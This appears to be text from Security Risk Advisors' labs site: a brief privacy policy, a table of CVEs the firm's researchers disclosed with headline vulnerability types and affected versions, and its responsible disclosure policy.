This privacy policy for Security Risk Advisors, LLC (“SRA”, “we,” “us,” and “our”), describes how and why we might collect, store, use, and/or share (“process”) your information when you visit the Security Risk Advisors Labs site (“labs.sra.io”). Please also refer to the primary Security Risk Advisors privacy policy: https://sra.io/privacy/

We do not process sensitive personal information. We use third-party analytics tools to help us measure traffic and usage trends. These tools collect information sent by your device or our services, including how you use the site, the web pages you visit on the site, add-ons, and other information that assists us in improving our services.

We use the following third-party analytics services:

Umami Software, Inc (https://umami.is/)
- Privacy policy: https://umami.is/privacy

Published Advisories

Mon, 01 Jan 0001 00:00:00 +0000

The following is a list of all publicly disclosed vulnerabilities discovered by Security Risk Advisors researchers.

All security vulnerabilities that are acquired by Security Risk Advisors are handled according to the SRA Disclosure Policy.

After the vendor has issued a patch or fix publicly and is within the timeframe agreed upon, SRA will release a public advisory disclosing its findings along with a timeframe from disclosure to advisory publish.

Name	CVE ID	Vulnerability Type	Affects
VSee Clinic	CVE-2026-13381	Insecure Direct Object Reference in File API Allows Unauthorized File Access and Deletion	VSee Clinic from 7.1.26 before 7.1.26.1. VSee Clinic API from 1.3.0 before 1.3.0.1.
VSee Clinic	CVE-2026-13380	Cleartext SFTP Credentials in Unauthenticated HTTP Responses	VSee Clinic from 7.1.26 before 7.1.26.1. VSee Clinic API from 1.3.0 before 1.3.0.1.
Sangoma Switchvox SMB	CVE-2026-9588	Authenticated Stored Cross-Site Scripting (XSS) in Switchvox SMB	Sangoma Switchvox SMB from 8.3 (104997) before 8.4.0.2.
Sangoma Switchvox SMB	CVE-2026-9587	Authenticated Local File Inclusion (LFI) in Switchvox SMB Web Portal	Sangoma Switchvox SMB from 8.3 (104997) before 8.4.0.2.
Sangoma Switchvox SMB	CVE-2026-9586	Unauthenticated SQL Injection Leading to Remote Code Execution in Switchvox SMB	Sangoma Switchvox SMB from 8.3 (104997) before 8.4.0.2.
Sangoma Switchvox SMB	CVE-2026-9585	Unauthenticated Reflected Cross-Site Scripting (XSS) in Switchvox SMB Web Portal	Sangoma Switchvox SMB from 8.3 (104997) before 8.4.0.2.
Ellucian Advance	CVE-2026-6881	Authenticated SQL Injection Enables Unauthorized Access to Sensitive Information in Ellucian Advance Web and Legacy Advance	Ellucian Advanced Web before AWA-2022-ORA-17. Ellucian Legacy Advance before AWA-2022-ORA-17.
Milner ImageDirector Capture	CVE-2025-58744	Hard-Coded Default Credentials Enable Document Archive Decryption in Milner ImageDirector Capture	Milner ImageDirector Capture from 7.0.9 but before 7.6.3.25808. Versions prior to 7.0.9 may also be affected.
Milner ImageDirector Capture	CVE-2025-58743	Insecure Encryption Algorithm Enables Brute-Force of Database Credentials in Milner ImageDirector Capture	Milner ImageDirector Capture from 7.0.9 but before 7.6.3.25808. Versions prior to 7.0.9 may also be affected.
Milner ImageDirector Capture	CVE-2025-58742	Insufficient Configuration Protections Enable Database Credential Interception in Milner ImageDirector Capture	Milner ImageDirector Capture from 7.0.9 but before 7.6.3.25808. Versions prior to 7.0.9 may also be affected.
Milner ImageDirector Capture	CVE-2025-58741	Insecure Masked Credential Fields Enable Database Credential Access in Milner ImageDirector Capture	Milner ImageDirector Capture from 7.0.9 but before 7.6.3.25808. Versions prior to 7.0.9 may also be affected.
Milner ImageDirector Capture	CVE-2025-58740	Hardcoded Encryption Key Enables Database Credential Access in Milner ImageDirector	Milner ImageDirector Capture from 7.0.9 but before 7.6.3.25808. Versions prior to 7.0.9 may also be affected.
Brivo Access Control Systems	CVE-2023-6260	Web UI OS Command Injection	Versions from 5.2.4 but before 6.2.4.3. Versions prior to 5.2.4 may also be affected.
Brivo Access Control Systems	CVE-2023-6259	Local Access to Sensitive Data	Models ACS100, ACS300. Models ACS6000 and ACSSDC may also be affected.

Security Risk Advisors Intl, LLC – Disclosure Policy

Mon, 01 Jan 0001 00:00:00 +0000

This policy outlines how Security Risk Advisors (SRA) handle responsible vulnerability disclosure to product vendors, security vendors, and the public.

Notification

Once a vulnerability has been identified and confirmed through our own research and/or services, we will notify the product vendor of a security flaw within their product or service. SRA will make three (3) attempts to reach the vendor through formal methods (e.g., email, phone, disclosure portals). After each of these attempts, SRA will give the vendor 5 days to acknowledge and respond.

Email messages will originate from advisories@sra.io.

Disclosure

If SRA exhausts all reasonable means to contact a vendor, then SRA may issue a public advisory disclosing its findings thirty (30) days after the initial contact.

If a response is received, SRA will allow the vendor 3-months (90 days) to address the flaw with a security patch or other corrective measure. During this time, it is expected that the vendor maintains open communication with SRA and provide regular updates to the status of the remediation/patch. The vendor is encouraged to provide credit to SRA and the individuals that identified the vulnerability (e.g., “Credit to [Researcher] from Security Risk Advisors for identifying and responsibly disclosing the vulnerability to [vendor]”).

Last Modified: Q2 2023